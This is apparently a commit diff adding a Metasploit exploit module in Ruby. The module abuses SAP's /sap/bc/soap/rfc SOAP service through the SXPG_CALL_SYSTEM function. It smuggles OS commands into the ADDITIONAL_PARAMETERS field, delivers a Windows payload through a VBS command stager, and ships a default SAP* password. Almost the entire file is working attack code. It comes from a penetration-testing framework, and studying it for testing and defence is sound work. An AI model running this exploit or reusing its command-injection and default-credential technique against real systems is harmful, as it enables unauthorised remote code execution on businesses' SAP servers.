|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +## |
| 9 | +# This module is based on, inspired by, or is a port of a plugin available in |
| 10 | +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - |
| 11 | +# http://www.onapsis.com/research-free-solutions.php. |
| 12 | +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts |
| 13 | +# in producing the Metasploit modules and was happy to share his knowledge and |
| 14 | +# experience - a very cool guy. |
| 15 | +# |
| 16 | +# The following guys from ERP-SCAN deserve credit for their contributions - |
| 17 | +# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and |
| 18 | +# Dmitry Evdokimov. |
| 19 | +# |
| 20 | +# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis |
| 21 | +# who have Beta tested the modules and provided excellent feedback. Some people |
| 22 | +# just seem to enjoy hacking SAP :) |
| 23 | +## |
| 24 | + |
| 25 | +require 'msf/core' |
| 26 | + |
| 27 | +class Metasploit4 < Msf::Exploit::Remote |
| 28 | + Rank = ExcellentRanking |
| 29 | + include Msf::Exploit::CmdStagerVBS |
| 30 | + include Msf::Exploit::EXE |
| 31 | + include Msf::Exploit::Remote::HttpClient |
| 32 | + |
| 33 | + def initialize |
| 34 | + super( |
| 35 | + 'Name' => 'SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution', |
| 36 | + 'Description' => %q{ |
| 37 | + This module makes use of the SXPG_CALL_SYSTEM Remote Function Call, through the |
| 38 | + use of the /sap/bc/soap/rfc SOAP service to execute OS commands as configured in |
| 39 | + the SM69 transaction. |
| 40 | + }, |
| 41 | + 'References' => |
| 42 | + [ |
| 43 | + [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] |
| 44 | + ], |
| 45 | + 'DisclosureDate' => 'March 26 2013', |
| 46 | + 'Platform' => ['windows'], |
| 47 | + 'Targets' => [['Windows Universal',{'Arch' => ARCH_X64,'Platform' => 'win'}]], |
| 48 | + 'DefaultTarget' => 0, |
| 49 | + 'Privileged' => true, |
| 50 | + 'Author' =>['nmonkee'], |
| 51 | + 'License' => MSF_LICENSE |
| 52 | + ) |
| 53 | + register_options( |
| 54 | + [ |
| 55 | + Opt::RPORT(8000), |
| 56 | + OptString.new('CLIENT', [true, 'SAP Client', '001']), |
| 57 | + OptString.new('USERNAME', [true, 'Username', 'SAP*']), |
| 58 | + OptString.new('PASSWORD', [true, 'Password', '06071992']), |
| 59 | + OptString.new('CMD', [true, 'SM69 command to be executed', nil]), |
| 60 | + OptEnum.new('OS', [true, 'SM69 Target OS','ANYOS',['ANYOS','Windows NT']]) |
| 61 | + ], self.class) |
| 62 | + register_advanced_options( |
| 63 | + [ |
| 64 | + OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments', 250]), |
| 65 | + ], self.class) |
| 66 | + end |
| 67 | + |
| 68 | + def exploit |
| 69 | + linemax = datastore['PAYLOAD_SPLIT'] |
| 70 | + print_status("Using custom payload size of #{linemax}") if linemax != 250 |
| 71 | + print_status("[SAP] #{rhost}:#{rport} - sending SOAP SXPG_COMMAND_EXECUTE request") |
| 72 | + execute_cmdstager({ :delay => 0.35, :linemax => linemax }) |
| 73 | + handler(nil) |
| 74 | + end |
| 75 | + |
| 76 | + def execute_command(cmd, opts) |
| 77 | + command = cmd.gsub(/&/,'&') |
| 78 | + os = datastore['OS'] |
| 79 | + data = '<?xml version="1.0" encoding="utf-8" ?>' |
| 80 | + data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">' |
| 81 | + data << '<env:Body>' |
| 82 | + data << '<n1:SXPG_CALL_SYSTEM xmlns:n1="urn:sap-com:document:sap:rfc:functions" env:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">' |
| 83 | + data << '<ADDITIONAL_PARAMETERS>&' + command.to_s + '</ADDITIONAL_PARAMETERS>' |
| 84 | + data << '<COMMANDNAME>' + datastore['CMD'] + '</COMMANDNAME>' |
| 85 | + data << '<OPERATINGSYSTEM>' + os +'</OPERATINGSYSTEM>' |
| 86 | + data << '<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>' |
| 87 | + data << '</n1:SXPG_CALL_SYSTEM>' |
| 88 | + data << '</env:Body>' |
| 89 | + data << '</env:Envelope>' |
| 90 | + user_pass = Rex::Text.encode_base64(datastore['USERNAME'] + ":" + datastore['PASSWORD']) |
| 91 | + begin |
| 92 | + res = send_request_raw({ |
| 93 | + 'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN', |
| 94 | + 'method' => 'POST', |
| 95 | + 'data' => data, |
| 96 | + 'headers' =>{ |
| 97 | + 'Content-Length' => data.size.to_s, |
| 98 | + 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', |
| 99 | + 'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], |
| 100 | + 'Authorization' => 'Basic ' + user_pass, |
| 101 | + 'Content-Type' => 'text/xml; charset=UTF-8' |
| 102 | + } |
| 103 | + }, 45) |
| 104 | + if res and res.code != 500 and res.code != 200 |
| 105 | + # to do - implement error handlers for each status code, 404, 301, etc. |
| 106 | + print_error("[SAP] #{rhost}:#{rport} - something went wrong!") |
| 107 | + return |
| 108 | + elsif res and res.body =~ /faultstring/ |
| 109 | + error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}) |
| 110 | + 0.upto(error.length-1) do |i| |
| 111 | + print_error("[SAP] #{rhost}:#{rport} - error #{error[i]}") |
| 112 | + end |
| 113 | + return |
| 114 | + elsif res and res.code == 200 |
| 115 | + return |
| 116 | + else |
| 117 | + print_error("[SAP] #{rhost}:#{rport} - Unknown error") |
| 118 | + return |
| 119 | + end |
| 120 | + rescue ::Rex::ConnectionError |
| 121 | + print_error("[SAP] #{rhost}:#{rport} - Unable to connect") |
| 122 | + return |
| 123 | + end |
| 124 | + |
| 125 | + end |
| 126 | +end |
0 commit comments